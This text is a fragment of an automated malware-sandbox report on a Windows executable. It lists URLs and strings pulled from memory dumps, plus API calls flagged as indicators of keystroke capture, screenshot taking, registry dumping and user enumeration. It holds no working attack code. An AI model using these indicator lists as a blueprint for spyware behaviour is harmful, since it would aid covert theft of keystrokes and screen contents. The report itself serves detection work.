"http://www.public-trust.com/cgi-bin/crl/2018/cdp.crl0dmxt*j]+xijom5o" - Source: "00000000-00003572.00000002.84706.02710000.00000004.mdmp") Found URL "http://ocsp.entrust.net03,0*0(" - Source: "00000000-00003572.00000002.84706.02710000.00000004.mdmp") Found URL "http://crl.entrust.net/server1.crl0;8kbv7.11c)d[b" - Source: "00000000-00003572.00000002.84706.02710000.00000004.mdmp") Found URL "http://www.diginotar.nl/cps/pkioverheid0w0u1staat" - Source: "00000000-00003572.00000002.84706.02710000.00000004.mdmp") Found URL "http://crl.pkioverheid.nl/domovlatestcrl.crl0]ko)tsz'salt" - Source: "00000000-00003572.00000002.84706.02710000.00000004.mdmp") Found URL "http://crl.comodoca.com/utn-userfirst-hardware.crl060http://crl.comodo.net/utn-userfirst-hardware.crl0qe0c0;/http://crt.comodoca.com/utnaddtrustserverca.crt0$http://ocsp.comodoca.com0/login.skype.comwww.login.skype.com0ynsltar.0a0" - Source: "00000000-00003572.00000002.84706.02710000.00000004.mdmp") Found URL "http://www.diginotar.nl/cps/pkioverheid0\0z1staat" - Source: "00000000-00003572.00000002.84706.02710000.00000004.mdmp") Found URL "http://crl.pkioverheid.nl/domorganisatielatestcrl-g2.crl0^tl*" - Source: "00000000-00003572.00000002.84706.02710000.00000004.mdmp") Found URL "http://cybertrust.omniroot.com/repository.cfm0w0u1gte" - Source: "00000000-00003572.00000002.84706.02710000.00000004.mdmp") Found URL "http://www.public-trust.com/cgi-bin/crl/2018/cdp.crl0j)z" - Source: "00000000-00003572.00000002.84706.02710000.00000004.mdmp") Found URL "http://www.public-trust.com/cgi-bin/crl/2018/cdp.crl0\0" - Source: "00000000-00003572.00000002.84706.02710000.00000004.mdmp") Found URL "http://www.usertrust.com1utn-userfirst-hardware0110315000000z140314235959z0384771florida1tampa1sea" - Source: "00000000-00003572.00000002.84706.02710000.00000004.mdmp") Found URL "http://crl.comodoca.com/utn-userfirst-hardware.crl060http://crl.comodo.net/utn-userfirst-hardware.crl0qe0c0;/http://crt.comodoca.com/utnaddtrustserverca.crt0$http://ocsp.comodoca.com0global" - Source: "00000000-00003572.00000002.84706.02710000.00000004.mdmp") Found URL "http://crl.comodoca.com/utn-userfirst-hardware.crl060http://crl.comodo.net/utn-userfirst-hardware.crl0qe0c0;/http://crt.comodoca.com/utnaddtrustserverca.crt0$http://ocsp.comodoca.com0/login.yahoo.comwww.login.yahoo.com0yvr,)wp+(d" - Source: "00000000-00003572.00000002.84706.02710000.00000004.mdmp") Found URL "https://www.verisign.com/repository/verisignlogo.gif0d=0;090*0(https://www.verisign.com/rpa0salt" - Source: "00000000-00003572.00000002.84706.02710000.00000004.mdmp") Found URL "http://crl.comodoca.com/utn-userfirst-hardware.crl060http://crl.comodo.net/utn-userfirst-hardware.crl0qe0c0;/http://crt.comodoca.com/utnaddtrustserverca.crt0$http://ocsp.comodoca.com0/mail.google.comwww.mail.google.com0?=*k!\yro2;n/" - Source: "00000000-00003572.00000002.84706.02710000.00000004.mdmp") Found URL "http://crl.comodoca.com/utn-userfirst-hardware.crl060http://crl.comodo.net/utn-userfirst-hardware.crl0qe0c0;/http://crt.comodoca.com/utnaddtrustserverca.crt0$http://ocsp.comodoca.com0login.yahoo.com0kw(=n" - Source: "00000000-00003572.00000002.84706.02710000.00000004.mdmp") Found URL "http://crl.entrust.net/server1.crl0;8kbv7.1q7z?," - Source: "00000000-00003572.00000002.84706.02710000.00000004.mdmp") Found URL "http://ocsp.entrust.net0d=0;09000." - Source: "00000000-00003572.00000002.84706.02710000.00000004.mdmp") Found URL "http://www.digicert.com.my/cps.htm02+0)0'!http://crl.entrust.net/2048ca.crl09yk3y!gte" - Source: "00000000-00003572.00000002.84706.02710000.00000004.mdmp") Found URL "http://www.public-trust.com/cgi-bin/crl/2018/cdp.crl0or" - Source: "00000000-00003572.00000002.84706.02710000.00000004.mdmp") Found URL "http://crl.pkioverheid.nl/domovlatestcrl.crl00ev" - Source: "00000000-00003572.00000002.84706.02710000.00000004.mdmp") Found URL "http://crl.comodoca.com/utn-userfirst-hardware.crl060http://crl.comodo.net/utn-userfirst-hardware.crl0qe0c0;/http://crt.comodoca.com/utnaddtrustserverca.crt0$http://ocsp.comodoca.com0-login.live.comwww.login.live.com0nwk1uy1un:9*cosalt" - Source: "00000000-00003572.00000002.84706.02710000.00000004.mdmp") Found URL "http://crl.comodoca.com/utn-userfirst-hardware.crl060http://crl.comodo.net/utn-userfirst-hardware.crl0qe0c0;/http://crt.comodoca.com/utnaddtrustserverca.crt0$http://ocsp.comodoca.com0login.yahoo.com0entrust.net1;092www.entrust.net/cps" - Source: "00000000-00003572.00000002.84706.02710000.00000004.mdmp") Found URL "http://crl.entrust.net/server1.crl0v7.1ctj7+>.entrusbcom1" - Source: "00000000-00003572.00000002.84706.02710000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microsoftrootcert.crl0th0f0d8http://www.microsoft.com/pki/certs/microsoftrootcert.crt0>ej-+\lu>gvpob\hzagxr" - Source: "00000000-00003572.00000002.84706.02710000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif0\:oj?r0m01.3.6.1.5.5.7.1.12okb&" - Source: "00000000-00003572.00000002.84706.02710000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif03130$j0_b>mnhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00003572.00000002.84706.02710000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*l1.3.6.1.4.1.311.10.1250905032048z0/^g(o-cejy" - Source: "00000000-00003572.00000002.84706.02710000.00000004.mdmp") Found URL "http://c.pki.goog/r/gsr1.crl0h*,,yu5,1[?ep[?:rcz" - Source: "00000000-00003572.00000002.84706.02710000.00000004.mdmp") Found URL "http://c.pki.goog/we1/4y3jdvkomeg.crl6" - Source: "00000000-00003572.00000002.84706.02710000.00000004.mdmp") Found URL "https://csp.withgoogle.com/csp/cacertscross-origin-resource-policy:" - Source: "00000000-00003572.00000002.84706.02710000.00000004.mdmp") Found URL "https://csp.withgoogle.com/csp/report-to/cacerts" - Source: "00000000-00003572.00000002.84706.02710000.00000004.mdmp") Found URL "http://c.pki.goog/r/gsr1.crl0h*,,yu5,1[?ep[?:rsa1m*[io89v:connconltcpchconemgrtimr(/mus1" - Source: "00000000-00003572.00000002.84706.02710000.00000004.mdmp") Found URL "https://csp.withgoogle.com/csp/cacertspersistent-authwww-authenticatevaryset-cookiesffeserverretry-afterproxy-supportproxy-authenticatelocationetagauthentication-info1558bytesaccept-rangessun," - Source: "00000000-00003572.00000002.84706.02710000.00000004.mdmp") Found URL "http://fontawesome.iohttp://fontawesome.io/license/vs_version_infostringfileinfo040904e4fileversion1.0.0.0productversion1.0.0.0programidcom.embarcadero.broomfiledescriptionbroomproductnamebroomvarfileinfotranslationembarcadero" - Source: "00000000-00004256.00000000.82684.00825000.00000002.mdmp") Found URL "http://fontawesome.iohttp://fontawesome.io/license/glassmusicsearchenvelopeheartstarstar_emptyuserfilmth_largeth_listremovezoom_inzoom_outsignaltrashhomefile_alttimeroaddownload_altdownloaduploadinboxplay_circlerepeatrefreshlist_altlockflagheadphonesvolume_offvolume_down" - Source: "00000000-00004256.00000000.82684.00825000.00000002.mdmp") Found URL "http://www.w3.org/1999/02/22-rdf-syntax-ns" - Source: "00000000-00004256.00000000.82684.00825000.00000002.mdmp") Found URL "http://sqm.microsoft.com/sqm/windowslive/sqmserver.dllsync" - Source: "00000000-00004256.00000001.84604.712E1000.00000020.mdmp") Found URL "http://ssw.live.com/uploaddata.aspxsoftware\microsoft\windows" - Source: "00000000-00004256.00000002.86530.71331000.00000020.mdmp") Found URL "https://sqm.microsoft.com/sqm/%s/manifests/sqm%d.bintestmanifesturldisablemanifestdownload%s/?partner=%shttps://copyuploadedfilestofoldersamplingintervalupload" - Source: "00000000-00004256.00000002.86530.71331000.00000020.mdmp") Found URL "http:///default.htmtransfer-encoding:" - Source: "00000000-00004256.00000002.86530.71331000.00000020.mdmp") Found URL "https://%s:%d%swlc-extended-statusauthdocumentnotfoundcontent-encodinggzipunknownmachineguid" - Source: "00000000-00004256.00000002.86530.71331000.00000020.mdmp")57:T8bf,Found string "+ncalrpc:[OLE0C3306152D434FE2BFA4BC8F1603]" (Indicator: "ncalrpc"; Source: "00000000-00002180.00000000.83897.00190000.00000004.mdmp") Found string "B+ncalrpc:[OLE0C3306152D434FE2BFA4BC8F1603]" (Indicator: "ncalrpc"; Source: "00000000-00002180.00000000.83897.00190000.00000004.mdmp") Found string "+ncalrpc:[OLE3DF86BB5D9274ECAB6D1BB712D4D]" (Indicator: "ncalrpc"; Source: "00000000-00002180.00000000.83897.00190000.00000004.mdmp") Found string "ncacn_np" (Indicator: "ncacn_np"; Source: "00000000-00002516.00000001.83576.001D0000.00000004.mdmp") Found string "+ncalrpc:[OLE0C3306152D434FE2BFA4BC8F1603]" (Indicator: "ncalrpc"; Source: "00000000-00002516.00000001.83576.0022F000.00000004.mdmp") Found string "B+ncalrpc:[OLE0C3306152D434FE2BFA4BC8F1603]" (Indicator: "ncalrpc"; Source: "00000000-00002516.00000001.83576.0022F000.00000004.mdmp") Found string "B+ncalrpc:[OLE0C3306" (Indicator: "ncalrpc"; Source: "00000000-00002516.00000001.83576.0022F000.00000004.mdmp") Found string "+ncalrpc:[OLEB59F475CA0464643A96CF39CA1FF]" (Indicator: "ncalrpc"; Source: "00000000-00003572.00000001.84328.00610000.00000004.mdmp, 00000000-00003572.00000002.84706.00610000.00000004.mdmp") Found string "+ncalrpc:[OLEE430F3422D774320BA859C1D5BDA]" (Indicator: "ncalrpc"; Source: "00000000-00003572.00000001.84328.00610000.00000004.mdmp, 00000000-00003572.00000002.84706.00610000.00000004.mdmp") Found string "I+ncalrpc:[OLEA5E64455A5E3490B99ED7F526929]" (Indicator: "ncalrpc"; Source: "00000000-00003572.00000001.84328.00610000.00000004.mdmp, 00000000-00003572.00000002.84706.00610000.00000004.mdmp") Found string "+ncalrpc:[OLE4E13DCE2948B40F7895B0D4865C5]" (Indicator: "ncalrpc"; Source: "00000000-00003572.00000001.84328.00610000.00000004.mdmp, 00000000-00003572.00000002.84706.00610000.00000004.mdmp") Found string "9ncalrpc:[epmapper,Security=Impersonation Dynamic False]" (Indicator: "ncalrpc"; Source: "00000000-00003572.00000001.84328.00610000.00000004.mdmp, 00000000-00003572.00000002.84706.00610000.00000004.mdmp") Found string "+ncalrpc:[OLEA5E64455A5E3490B99ED7F526929]" (Indicator: "ncalrpc"; Source: "00000000-00003572.00000001.84328.00610000.00000004.mdmp, 00000000-00003572.00000002.84706.00610000.00000004.mdmp")58:T488,Found string "Kerberos" (Indicator: "kerberos"; Source: "00000000-00002180.00000000.83897.00190000.00000004.mdmp, 00000000-00002180.00000001.83914.00190000.00000004.mdmp") Found string "Kerberos" (Indicator: "kerberos"; Source: "00000000-00002516.00000001.83576.001D0000.00000004.mdmp, 00000000-00002516.00000001.83576.0022F000.00000004.mdmp") Found string "Kerberos" (Indicator: "kerberos"; Source: "00000000-00003572.00000001.84328.00610000.00000004.mdmp, 00000000-00003572.00000002.84706.00610000.00000004.mdmp") Found string ":\Windows\system32\kerberos.DLL" (Indicator: "kerberos"; Source: "00000000-00003572.00000001.84328.00610000.00000004.mdmp, 00000000-00003572.00000002.84706.00610000.00000004.mdmp") Found string "icrosoft Kerberos V1.0" (Indicator: "kerberos"; Source: "00000000-00003572.00000001.84328.00610000.00000004.mdmp, 00000000-00003572.00000002.84706.00610000.00000004.mdmp") Found string "Microsoft Kerberos V1.0" (Indicator: "kerberos"; Source: "00000000-00003572.00000001.84328.00610000.00000004.mdmp") Found string "crosoft Kerberos V1.0" (Indicator: "kerberos"; Source: "00000000-00003572.00000002.84706.00610000.00000004.mdmp")59:T846,Found reference to API "CreateCompatibleBitmap" (Indicator: "CreateCompatibleBitmap"; File: "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b") Found reference to API "CreateCompatibleDC" (Indicator: "CreateCompatibleDC"; File: "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b") Found reference to API "GetDIBits" (Indicator: "GetDIBits"; File: "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b") Found reference to API "CreateDCW" (Indicator: "CreateDC"; File: "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b") Found reference to API "BitBlt" (Indicator: "BitBlt"; File: "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b") Found reference to API "GetDCEx" (Indicator: "GetDC"; File: "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b") Found reference to API "GetDesktopWindow" (Indicator: "GetDesktopWindow"; File: "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b") Found reference to API "GetDC" (Indicator: "GetDC"; File: "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b") Found reference to API "GetWindowDC" (Indicator: "GetWindowDC"; File: "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b") Found reference to API "GetDC" (Indicator: "GetDC"; Source: "00000000-00003572.00000000.82404.00408000.00000002.mdmp") Found reference to API "GetDC" (Indicator: "GetDC"; Source: "00000000-00004256.00000000.82684.0081E000.00000004.mdmp, 00000000-00004256.00000002.86530.0081D000.00000004.mdmp") Found reference to API "GetWindowDC" (Indicator: "GetWindowDC"; Source: "00000000-00004256.00000000.82684.0081E000.00000004.mdmp, 00000000-00004256.00000002.86530.0081D000.00000004.mdmp") Found reference to API "GetDesktopWindow" (Indicator: "GetDesktopWindow"; Source: "00000000-00004256.00000000.82684.0081E000.00000004.mdmp, 00000000-00004256.00000002.86530.0081D000.00000004.mdmp") Found reference to API "GetDCEx" (Indicator: "GetDC"; Source: "00000000-00004256.00000000.82684.0081E000.00000004.mdmp, 00000000-00004256.00000002.86530.0081D000.00000004.mdmp")5a:T6f3,Found registry query API: "RegSaveKeyW" in file "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b" Found registry query API: "RegQueryInfoKeyW" in file "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b" Found registry query API: "RegEnumValueW" in file "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b" Found registry query API: "RegEnumKeyExW" in file "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b" Found registry query API: "RegOpenKeyExW" in file "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b" Found registry query API: "RegQueryValueExW" in file "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b" Found registry query API: "RegEnumKeyW" in file "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b" Found registry query API: "RegQueryValueExW" in "00000000-00002180.00000000.83897.0B400000.00000004.mdmp, 00000000-00002180.00000001.83914.0B400000.00000004.mdmp" Found registry query API: "RegOpenKeyExW" in "00000000-00002180.00000000.83897.0B400000.00000004.mdmp, 00000000-00002180.00000001.83914.0B400000.00000004.mdmp" Found registry query API: "RegQueryValueExW" in "00000000-00002516.00000001.83576.0B880000.00000004.mdmp" Found registry query API: "RegOpenKeyExW" in "00000000-00002516.00000001.83576.0B880000.00000004.mdmp" Found registry query API: "RegEnumValueW" in "00000000-00003572.00000000.82404.00408000.00000002.mdmp" Found registry query API: "RegEnumKeyW" in "00000000-00003572.00000000.82404.00408000.00000002.mdmp" Found registry query API: "RegQueryValueExW" in "00000000-00003572.00000000.82404.00408000.00000002.mdmp" Found registry query API: "RegOpenKeyExW" in "00000000-00003572.00000000.82404.00408000.00000002.mdmp"5b:T51d,Found reference to API "GetAsyncKeyState" (Indicator: "GetAsyncKeyState"; File: "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b") Found reference to API "GetKeyboardState" (Indicator: "GetKeyboardState"; File: "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b") Found reference to API "GetKeyNameTextW" (Indicator: "GetKeyNameText"; File: "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b") Found reference to API "GetKeyState" (Indicator: "GetKeyState"; File: "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b") Found reference to API "MapVirtualKeyW" (Indicator: "MapVirtualKey"; File: "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b") Found reference to API "GetAsyncKeyState" (Indicator: "GetAsyncKeyState"; Source: "00000000-00004256.00000000.82684.0081E000.00000004.mdmp, 00000000-00004256.00000002.86530.0081D000.00000004.mdmp") Found reference to API "GetKeyNameTextW" (Indicator: "GetKeyNameText"; Source: "00000000-00004256.00000000.82684.0081E000.00000004.mdmp, 00000000-00004256.00000002.86530.0081D000.00000004.mdmp") Found reference to API "GetKeyState" (Indicator: "GetKeyState"; Source: "00000000-00004256.00000000.82684.0081E000.00000004.mdmp, 00000000-00004256.00000002.86530.0081D000.00000004.mdmp")5c:T7c7,Found reference to API "GetUserNameW" (Indicator: "GetUserName"; File: "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b") Found reference to API "NetWkstaGetInfo" (Indicator: "NetWkstaGetInfo"; File: "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b") Found reference to API "WTSQuerySessionInformationA" (Indicator: "WTSQuerySessionInformation"; File: "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b") Found reference to API "GetTokenInformation" (Indicator: "GetTokenInformation"; Source: "00000000-00002180.00000000.83897.0B400000.00000004.mdmp, 00000000-00002180.00000001.83914.0B400000.00000004.mdmp") Found reference to API "LookupAccountNameW" (Indicator: "LookupAccountName"; Source: "00000000-00002180.00000000.83897.0B400000.00000004.mdmp, 00000000-00002180.00000001.83914.0B400000.00000004.mdmp") Found reference to API "WTSQuerySessionInformationW" (Indicator: "WTSQuerySessionInformation"; Source: "00000000-00002180.00000000.83897.0B400000.00000004.mdmp, 00000000-00002180.00000001.83914.0B400000.00000004.mdmp") Found reference to API "LookupAccountNameW" (Indicator: "LookupAccountName"; Source: "00000000-00002516.00000000.82526.0B880000.00000004.mdmp, 00000000-00002516.00000001.83576.0B880000.00000004.mdmp") Found reference to API "WTSQuerySessionInformationW" (Indicator: "WTSQuerySessionInformation"; Source: "00000000-00002516.00000000.82526.0B880000.00000004.mdmp, 00000000-00002516.00000001.83576.0B880000.00000004.mdmp") Found reference to API "7621018,3844,3216,,LookupAccountSidA,advapi32.dll,"252:41:10.494",RX=0,PX=0" (Indicator: "LookupAccountSid"; Source: "00000000-00002516.00000001.83576.0022F000.00000004.mdmp") Found reference to API "GetTokenInformation" (Indicator: "GetTokenInformation"; Source: "00000000-00002516.00000001.83576.0B880000.00000004.mdmp") Found reference to API "NetUserGetInfo" (Indicator: "NetUserGetInfo"; Source: "00000000-00002516.00000001.83576.0B880000.00000004.mdmp")5d:Teac,"d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe" called "FindFirstFileW" with parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoreei.dll (UID: 00000000-00001156) "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe" called "FindFirstFileW" with parameter %WINDIR%\Microsoft.NET\Framework\\* (UID: 00000000-00001156) "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe" called "FindNextFileW" with parameter .. (UID: 00000000-00001156) "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe" called "FindNextFileW" with parameter NETFXSBS10.exe (UID: 00000000-00001156) "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe" called "FindNextFileW" with parameter netfxsbs12.hkf (UID: 00000000-00001156) "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe" called "FindNextFileW" with parameter sbscmp10.dll (UID: 00000000-00001156) "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe" called "FindNextFileW" with parameter sbscmp20_mscorwks.dll (UID: 00000000-00001156) "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe" called "FindNextFileW" with parameter sbscmp20_perfcounter.dll (UID: 00000000-00001156) "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe" called "FindNextFileW" with parameter sbs_diasymreader.dll (UID: 00000000-00001156) "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe" called "FindNextFileW" with parameter sbs_iehost.dll (UID: 00000000-00001156) "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe" called "FindNextFileW" with parameter sbs_microsoft.jscript.dll (UID: 00000000-00001156) "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe" called "FindNextFileW" with parameter sbs_microsoft.vsa.vb.codedomprocessor.dll (UID: 00000000-00001156) "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe" called "FindNextFileW" with parameter sbs_mscordbi.dll (UID: 00000000-00001156) "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe" called "FindNextFileW" with parameter sbs_mscorrc.dll (UID: 00000000-00001156) "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe" called "FindNextFileW" with parameter sbs_mscorsec.dll (UID: 00000000-00001156) "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe" called "FindNextFileW" with parameter sbs_system.configuration.install.dll (UID: 00000000-00001156) "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe" called "FindNextFileW" with parameter sbs_system.data.dll (UID: 00000000-00001156) "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe" called "FindNextFileW" with parameter sbs_system.enterpriseservices.dll (UID: 00000000-00001156) "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe" called "FindNextFileW" with parameter sbs_VsaVb7rt.dll (UID: 00000000-00001156) "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe" called "FindNextFileW" with parameter sbs_wminet_utils.dll (UID: 00000000-00001156) "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe" called "FindNextFileW" with parameter SharedReg12.dll (UID: 00000000-00001156) "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe" called "FindNextFileW" with parameter v1.0.3705 (UID: 00000000-00001156) "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe" called "FindNextFileW" with parameter v1.1.4322 (UID: 00000000-00001156) "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe" called "FindNextFileW" with parameter v2.0.50727 (UID: 00000000-00001156)5e:T6de,Found string "description="Uses RsaCryptoServiceProvider +|" (Indicator: "RsaCryptoServiceProvider"; Source: "00000000-00001156.00000000.81939.00490000.00000004.mdmp 00000000-00001156.00000001.82229.00490000.00000004.mdmp"), Found string "ECDSA_P384" (Indicator: "ecdsa"; Source: "00000000-00003572.00000001.84328.00610000.00000004.mdmp 00000000-00003572.00000001.84328.02710000.00000004.mdmp 00000000-00003572.00000002.84706.02710000.00000004.mdmp"), Found string "moc.hcraeserdracerocs" (Indicator: "aes"; Source: "00000000-00003572.00000001.84328.00610000.00000004.mdmp 00000000-00003572.00000002.84706.00610000.00000004.mdmp"), Found string "moc.5432.hcraesgg" (Indicator: "aes"; Source: "00000000-00003572.00000001.84328.00610000.00000004.mdmp 00000000-00003572.00000002.84706.00610000.00000004.mdmp"), Found string "ten.mrofdaes" (Indicator: "aes"; Source: "00000000-00003572.00000001.84328.00610000.00000004.mdmp 00000000-00003572.00000002.84706.00610000.00000004.mdmp"), Found string "ten.mrofdaes.revres" (Indicator: "aes"; Source: "00000000-00003572.00000001.84328.00610000.00000004.mdmp 00000000-00003572.00000002.84706.00610000.00000004.mdmp"), Found string "Microsoft Enhanced RSA and AES Cryptographic Provider" (Indicator: "aes"; Source: "00000000-00003572.00000001.84328.00610000.00000004.mdmp 00000000-00003572.00000002.84706.00610000.00000004.mdmp"), Found string "ECDSA_P256" (Indicator: "ecdsa"; Source: "00000000-00003572.00000001.84328.02710000.00000004.mdmp 00000000-00003572.00000002.84706.02710000.00000004.mdmp"), Found string "crosoft Enhanced RSA and AES Cryptographic Provider" (Indicator: "aes"; Source: "00000000-00003572.00000002.84706.00610000.00000004.mdmp 00000000-00003572.00000002.84706.02710000.00000004.mdmp")5f:T9ea,Found reference to API "GetCurrentProcessId" (Indicator: "GetCurrentProcess"; File: "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b") Found reference to API "GetCurrentProcess" (Indicator: "GetCurrentProcess"; File: "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b") Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; File: "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b") Found reference to API "GetEnvironmentStringsW" (Indicator: "GetEnvironmentStrings"; File: "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b") Found reference to API "GetModuleHandleA" (Indicator: "GetModuleHandle"; File: "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b") Found reference to API "GetEnvironmentStrings" (Indicator: "GetEnvironmentStrings"; File: "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b") Found reference to API "CreateToolhelp32Snapshot" (Indicator: "CreateToolhelp32Snapshot"; Source: "00000000-00002180.00000000.83897.0B400000.00000004.mdmp, 00000000-00002180.00000001.83914.0B400000.00000004.mdmp") Found reference to API "Process32FirstW" (Indicator: "Process32First"; Source: "00000000-00002180.00000000.83897.0B400000.00000004.mdmp, 00000000-00002180.00000001.83914.0B400000.00000004.mdmp") Found reference to API "Process32NextW" (Indicator: "Process32Next"; Source: "00000000-00002180.00000000.83897.0B400000.00000004.mdmp, 00000000-00002180.00000001.83914.0B400000.00000004.mdmp") Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; Source: "00000000-00003572.00000000.82404.00408000.00000002.mdmp, 00000000-00003572.00000000.82404.0040A000.00000004.mdmp, 00000000-00003572.00000000.82404.10001000.00000020.mdmp, 00000000-00003572.00000001.84328.0040A000.00000004.mdmp") Found reference to API "GetCurrentProcess" (Indicator: "GetCurrentProcess"; Source: "00000000-00003572.00000000.82404.00408000.00000002.mdmp, 00000000-00003572.00000002.84706.0040A000.00000004.mdmp") Found reference to API "GetModuleHandleA" (Indicator: "GetModuleHandle"; Source: "00000000-00003572.00000000.82404.00408000.00000002.mdmp, 00000000-00003572.00000002.84706.0040A000.00000004.mdmp") Found reference to API "GetEnvironmentStrings" (Indicator: "GetEnvironmentStrings"; Source: "00000000-00003572.00000002.84706.0040A000.00000004.mdmp") Found reference to API "GetEnvironmentStringsW" (Indicator: "GetEnvironmentStrings"; Source: "00000000-00003572.00000002.84706.0040A000.00000004.mdmp")60:Tdf2,Found reference to API "GetFileAttributesW" (Indicator: "GetFileAttributes"; File: "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b") Found reference to API "GetFileSize" (Indicator: "GetFileSize"; File: "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b") Found reference to API "SHGetSpecialFolderLocation" (Indicator: "SHGetSpecialFolderLocation"; File: "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b") Found reference to API "GetFileVersionInfoW" (Indicator: "GetFileVersionInfo"; File: "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b") Found reference to API "GetFileVersionInfoSizeW" (Indicator: "GetFileVersionInfo"; File: "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b") Found reference to API "GetFileVersionInfoSizeW" (Indicator: "GetFileVersionInfoSize"; File: "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b") Found reference to API "GetTempFileNameW" (Indicator: "GetTempFileName"; File: "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b") Found reference to API "GetSystemDirectoryW" (Indicator: "GetSystemDirectory"; File: "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b") Found reference to API "GetSystemDirectoryW" (Indicator: "GetSystemDirectory"; Source: "00000000-00002180.00000000.83897.0B400000.00000004.mdmp, 00000000-00002180.00000001.83914.0B400000.00000004.mdmp") Found reference to API "GetFileAttributesW" (Indicator: "GetFileAttributes"; Source: "00000000-00003572.00000000.82404.00408000.00000002.mdmp") Found reference to API "GetFileSize" (Indicator: "GetFileSize"; Source: "00000000-00003572.00000000.82404.00408000.00000002.mdmp, 00000000-00003572.00000000.82404.0040A000.00000004.mdmp, 00000000-00003572.00000000.82404.10001000.00000020.mdmp, 